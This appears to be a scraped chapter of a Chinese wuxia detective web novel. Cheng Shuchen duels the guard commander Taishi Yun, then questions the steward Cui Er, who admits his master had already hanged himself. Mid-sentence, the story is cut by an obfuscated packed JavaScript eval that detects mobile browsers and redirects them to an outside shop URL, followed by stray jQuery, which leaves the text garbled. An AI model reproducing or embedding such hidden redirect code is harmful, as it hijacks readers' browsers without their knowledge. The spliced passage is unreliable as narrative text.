54. 其十七·重梳

作品:《诡案现场别欺负我GB

    “等等。”太史云道,“宫女侠的剑法,我方才已见过了,好得很,实在好得很,简直是好极了。”


    “可是。”他看向程梳尘,道,“我想知道以程兄如今的身体,真的还能再查这么凶险的案子吗?”


    程梳尘道:“你若是想试试我够不够格,不必说出这些话来激我。”


    太史云道:“我虽算不得什么真正的高手,可也是洛阳三把刀之一的北地刀,与狂风刀和……”


    程梳尘咬牙,洛阳三把刀,狂风刀,徐支风,徐大哥,从瓦筐到长安、到今天,他不想再听了,他受不了,他近来受的刺激实在太多……


    太史云的瞳孔收缩,好重的杀气,尸山血海一般的杀气,这样漂亮的脸,竟能发出这般杀气!他究竟都承载着些什么?


    太史云沉肩,沉如松,沉如北地绝岭的一棵十丈孤松!


    电光石火,乍合乍分,他的刀早已出鞘,刀光一射千丈,刀刃离程梳尘的心口只有一寸三分七厘二毫。


    拇指的距离。


    现在,只要这柄刀稍稍用力,就可以贯穿程梳尘的胸口。


    太史云没有动。


    很冰,原来程梳尘的剑尖儿已经在太史云的咽喉,零寸零分零厘零毫远。


    可这柄剑也没有按下去。


    程梳尘冷冷道:“这够不够?”


    太史云淡淡道:“够了。”


    他与太史云同时收兵,程梳尘弯下腰,大口喘着气,太史云长叹道:“好,我便不再拦着你们了。逼程兄出手,实在抱歉,我只想看看你们究竟有没有本事做那个人的对手。”


    宫晏晏和程梳尘没有问那个人是谁,因为太史云显然不会说。


    太史云又行了个单膝礼,道:“程兄如此身体,竟还有这般意志,宫大小姐当然就更不用再说了,陛下实在没有找错人。两位以后若有用得到太史云的地方,赴汤蹈火,在所不辞。”


    “好。”程梳尘直起腰来,竖了个大拇指,“这可是你说的。”


    太史云也站起来,怔了怔,程梳尘居然会说出这么一句话来,他还是看不透这朵白莲花,难道程梳尘已想到了怎样让他去“赴汤蹈火”?


    “赴汤蹈火,现在倒还不必。”程梳尘道,“烦请云兄先将花无红送回禁宫。”


    “禁宫?”太史云忍不住道,“你要我将……可他已死了,你要我将一个死人送回禁宫?我,我该怎么送?”


    “正是。”程梳尘诚恳道,“怎么送去倒无所谓,让不让别人知道更是无所谓。我只希望你能将他完好地留在禁宫,送到一个最安全的地方,除了你之外,再不要有别人能进得去。”


    宫晏晏望着太史云,点点头道:“太史云既是禁卫总管,这样的地方在禁宫内想必有很多。”


    太史云顿了顿,道:“好,此事包在我身上。若无他事,容我等先回去向陛下回禀。”


    他没有问为什么要将花无红留在禁宫。


    他的问题一向不多。


    他不擅长发问,所以他自认不会是一个差的禁卫总管。


    他一声长啸,几个兵士又从林中穿出。他又一挥手,和兵士们三两下便抬起花无红,片刻间便没了踪影。


    宫晏晏把程梳尘拉过来,道:“你觉得花无红身上还有线索?”


    “很有可能。”程梳尘叹道,“但我现在还想不到。”


    宫晏晏抱着肩,道:“崔显和赵舒真仿佛还有很多话没有说。”


    程梳尘点点头,道:“现在当务之急,恐怕是将所有人叫到一块儿,好好再谈一番了。”


    ——重新梳理!


    崔二在收拾茶具。


    收拾茶具的意思,就是有人要在这里喝茶。


    喝茶本来是好事,崔二却一点儿都高兴不起来。


    本来就不是他喝,虽说如此,这也是他的工作,当做好这些工作后,他总有钱可以拿,总有几个时辰可以好好放松一下。


    可昨天晚上,他看到了让人再也高兴不起来的事情。


    现在已过了第二天的中午,崔二还是放不下心来。


    当宫晏晏打着哈欠和程梳尘走进茶室时,崔二手一颤,茶具险些翻了,他们竟来得这么早!


    他忙收拾好,道:“两位歇得可好?我已按你们的吩咐,派人约上河洛七骏那几位了。”


    宫晏晏微笑道:“辛苦你了,崔管事。若不是崔家愿意,我们还真不知道将他们约到哪里最好。”


    崔二定了定神,苦笑道:“哪里哪里,您贵为王爷之女,又是直接奉了陛下的命令,竟还亲力亲为,帮我们抓,抓害了老爷的凶手……”


    他低声道:“不知那凶手,可伏法了?”


    程梳尘看着满柜的书籍,道:“崔管事,你可知我们为何比约好的时间来得早了些?”


    “是啊。”崔二道,“两位来得太早了,那几位,估计还要一阵子才能到呢。”


    程梳尘叹道:“因为我想先跟你聊聊。”


    崔二缓缓抬起头,惊道:“跟我聊聊?程大侠,我,我有什么可聊的?”


    程梳尘道:“主人死了,问他最忠实、陪伴他最久的管事,岂不是当然的道理?你却好惊讶。”


    崔二沉默。


    程梳尘道:“昨天夜里,你的反应就不太对呢。”


    崔二急道:“我,我待老爷是忠心的……”


    程梳尘道:“我们当时问你,崔侍郎往往会去什么地方,你不假思索,便脱口而出,仿佛早知道他会在小日月湖一般。”


    崔二道:“我……”


    程梳尘道:“而真的到了小日月湖,你又惊骇得反常了。我不禁在想,是不是因为我们看到的崔侍郎,与你之前看到的不同了?”


    崔二变色道:“你,你怎知道?”


    程梳尘道:“我们看到崔侍郎时,崔侍郎就已一动不动,还闭着双眼。花无红出手时,天色太晚,我没注意。可当我奔到那小亭时,分明发现,地上的血过于黑了。会不会在花无红动手之前,他就早已……”


    崔二居然已跪了下来,哀求道:“我并非刻意隐瞒,大人,你莫要治我的罪……”


    程梳尘还是看着书柜,整理起书本,叹道:“那要看她的意思了,你知道,这案子丝毫犹豫不得,是陛下亲自下的命令。她的功夫,昨夜你也看到了,快刀斩乱麻,毫无拖泥带水若你仍有隐瞒,她就可能先斩后奏……”


    “……”宫晏晏咳嗽一声,正色道,“嗯。”


    崔二颤声道:“我说,我说。在你们来之前,老爷,老爷就已经死了……”


    程梳尘转身,把崔二扶起来,柔声道:“请说,她听着呢。那杀手,花无红也已,也已过世了,你不必怕他报复。”


    宫晏晏正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784371|186446||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    色道:“嗯。”


    崔二道:“好,好,我全说。昨天夜里,我本想去亭子里与人幽会……”


    宫晏晏忍不住道:“与人幽会?”


    崔二叹道:“我虽然已快到中年,可一直尚未成家,崔小草也是如此,她是个好人,她……”


    “等等,这些就不必说了。”程梳尘抚额道,“你本欲与人幽会,到了亭子后呢?”


    崔二道:“我与小草手牵手到了亭外,却听到有稀稀疏疏的声音,我便令小草稍候,自己先去查探,却看到老爷,老爷他……”


    他捂着嘴,颤声道:“老爷吊死在了亭中。”


    宫晏晏和程梳尘都是微微变色,崔侍郎竟是吊死的,在他们赶到小日月湖之前,崔侍郎就已经吊死了!


    崔二接着道:“我,我本想救老爷下来,可是过去一看,连鼻息都没了,这谁还救得了?我吓得屁滚尿流,这事儿可不是我能管得了的呀,我立马跑去找小姐过来,就遇到你们……”


    宫晏晏脱口道:“你……你本来昨晚就可以说的。”


    崔二道:“我是该说,可我,可我怎敢说?先不说那凶手,跟,跟鬼一样。我还怕你们,错,错把我也当成凶手,若是那些草草结案的,将我这种人,算作吊死老爷的凶手……”


    宫晏晏沉默。


    “这你可以放心,你不是有小草做人证吗?”程梳尘叹道,“何况崔侍郎指甲与手上,除了些血污外,整洁干净,没有丝毫挣扎的痕迹,绝不像是被人勒死的。且浑身上下,全无受伤或中毒的模样,他若是吊死,恐怕只能是……”


    宫晏晏皱眉——他自己吊死了自己!


    她忽然有一种直觉,忽然想到一件事,道:“你那天说,面条?”


    程梳尘道:“面条?”


    宫晏晏道:“有人的嘴很刁,说面条的份量太少。”


    “我的嘴哪里……”程梳尘也想起来,拊掌看向崔二,道,“崔管事,你可知道你们老爷平日在哪里吃早饭?”


    崔二低下了头,道:“正是这里。”


    程梳尘道:“你可有看到过你们老爷那个……漂亮的食盒?”


    “漂亮的食盒?”崔二挠挠头,道:“这,我倒没有印象,崔家餐具很多,可,都是平平无奇之物,何谈漂亮?”


    程梳尘皱眉,道:“我们来崔府做客那天,你们老爷没有端着个食盒回来?”


    崔二摇摇头,道:“没有,老爷不过是晨练,早餐我们有给他做。只不过看到碗蜜水,他最近很爱喝蜜水,我们又不知道去哪里买……”


    程梳尘的脸色已变了,只有他看到了那食盒?怎么可能?他忽然再次转向书架,不对,书的模样不对,这书架最上面一层很高,高而弥尘。却偏偏有一本,傲群独立,书皮破旧,却一尘不染!


    一尘不染,说明这本书常常被人动,他的手也已放在书上,滴溜溜一转,墙上便有一暗格弹开,一个精致的食盒露了出来!


    他踮起脚来取下,打开食盒,食盒的底很高。


    他敲了敲,空心的!他把手伸进去,将那“底”拿了出来,“底”的下面竟还藏有一个暗格,底中底,正像谜中谜,案中案!


    这暗格中装的竟是——


    竟是——


    竟是空的……


    空无一物。


    这令他想到一段野史……